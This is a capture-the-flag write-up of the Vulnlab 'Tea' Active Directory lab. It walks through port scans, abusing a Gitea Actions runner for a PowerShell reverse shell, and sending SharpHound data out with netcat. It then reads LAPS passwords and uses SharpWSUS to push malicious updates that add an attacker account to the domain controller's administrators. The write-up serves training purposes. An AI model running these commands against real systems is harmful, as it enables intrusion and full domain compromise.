Vulnlab — Tea

5 min readFeb 23, 2024

Tea, a medium rated AD chain machine, involved having an instance of gitea running which had an active runner, being able to register a user and enable actions on the repo, we can execute commands to get a reverse shell, escalating to local admin by having the ability to read LAPS and then escalating to domain admin by abusing WSUS service to deploy malicious updates on domain controller.


80/tcp filtered http
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-02-22 11:44:27Z)
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC.tea.vl
| Issuer: commonName=DC.tea.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-12-19T15:32:23
| Not valid after: 2024-06-19T15:32:23
| MD5: 192634541f77066c4d54456555ec94a4
|_SHA-1: 4db67e0cd398334e78518b2f4b063b4d342f1508
|_ssl-date: 2024-02-22T11:45:15+00:00; +45s from scanner time.
| rdp-ntlm-info:
| Target_Name: TEA
| NetBIOS_Domain_Name: TEA
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: tea.vl
| DNS_Computer_Name: DC.tea.vl
| Product_Version: 10.0.20348
|_ System_Time: 2024-02-22T11:44:35+00:00
9389/tcp open mc-nmf .NET Message Framing
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows


80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate,
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-02-22T12:35:01+00:00; +44s from scanner time.
| rdp-ntlm-info:
| Target_Name: TEA
| NetBIOS_Domain_Name: TEA
| NetBIOS_Computer_Name: SRV
| DNS_Domain_Name: tea.vl
| DNS_Computer_Name: SRV.tea.vl

PORT 3000 (Gitea)

Registering an account on gitea and checking the users, we only have gitea@tea.vl

Abusing gitea runner

This version is running 1.21.2 which doesn't have any exploits, from user settings under Actions we have one active runner

To abuse this runner, we need to first create a repository and enable Actions

Now creating .gitea/workflows/demo.yaml file in the repository that we have created

Using base64 encoded reverse shell

name: Gitea Actions Demo
run-name: ${{ }} is testing out Gitea Actions 🚀
on: [push]
runs-on: windows-latest
- run: powershell -e encode_command

Transferring and executing SharpHound

Sharphound.exe -c all

To transfer the output, we can utilize netcat

cmd.exe /c '.\nc.exe -w 3 2222 <'
nc -l -p 2222 >

From bloodhound, it doesn’t show much what ACLs does thomas have but we do see that it belongs to Server Administration group

From C:\ drive, we can see WSUS, so we might be able to abuse it

Reading LAPS on SRV

We also have _install folder having LAPS (Locally Administrative Password Solution) installer

We can try reading LAPS on SRV as this user belongs to server administrator group, from the documentation we can use Get-LapsADPassword to retrieve clear text password of local administrator on SRV

Get-LapsADPassword -Identity SRV -AsPlainText

We can verify this from netexec

We know WSUS is installed which is a solution for deploying windows updates for systems in a domain where the hosts don’t have to reach out to internet to get the updates instead they can get updates internally

Abusing WSUS To Become Domain Admin

Since SRV is WSUS server from where updates are deployed and we are local admin, we can deploy malicious updates to DC like adding our own user to be part of domain admin, first we’ll have to create a domain user

cmd.exe /c 'SharpWSUS.exe create /payload:"C:\Users\Administrator\Documents\PsExec64.exe" /args:"-accepteula -s -d cmd.exe  /c \" net user arz P@assword123 /add \"" /title:"Up

Now approving the update

Verifying if the user is created

Now adding this to local administrators group on DC

cmd.exe /c 'SharpWSUS.exe create /payload:"C:\Users\Administrator\Documents\PsExec64.exe" /args:"-accepteula -s -d cmd.exe  /c \"net localgroup administrators arz /add \"" /title:"Updating"'

Being a local admin on DC, we can just login through winrm